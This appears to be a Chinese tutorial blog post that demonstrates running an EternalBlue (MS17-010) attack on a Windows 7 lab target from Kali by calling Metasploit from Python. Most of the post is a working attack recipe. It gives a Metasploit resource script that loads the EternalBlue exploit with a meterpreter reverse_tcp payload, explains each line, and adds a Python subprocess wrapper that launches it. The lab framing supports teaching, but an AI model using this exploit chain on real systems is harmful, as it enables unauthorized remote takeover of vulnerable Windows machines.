w30使用python调用shell脚本

使用python脚本去实现永恒之蓝漏洞攻击

实验环境

攻击工具:python+msfconsole 
靶场:win7 和 kali

实验目的

演示python脚本调用过程

实验步骤

1.写一个永恒之蓝的攻击脚本,定义为blue.rc

use exploit/windows/smb/ms17_010_eternalblue
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set RHOST 192.168.74.128
set lhost 192.168.74.129
run

use exploit :设置msf的攻击载荷模块,此处设置永恒之蓝模块
set payload :当漏洞利用成功时,此处reverse_tcp是指启动一个反向的tcp会话。
set RHOST : 指定目标地址(受害者)
set lhost : 指定攻击者地址
run : 运行
2.执行该脚本
msfconsole -r ./blue.rc
在这里插入图片描述
3.脚本执行成功,现在要通过python来执行,在python中写入如下代码

import subprocess

if __name__ == '__main__':

    subprocess.Popen("msfconsole -r ./blue.rc",shell=True).wait();
    //等同于subprocess.call("msfconsole -r ./blue.rc",shell=True)

4.执行脚本 python blue.py
在这里插入图片描述

  • 2
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值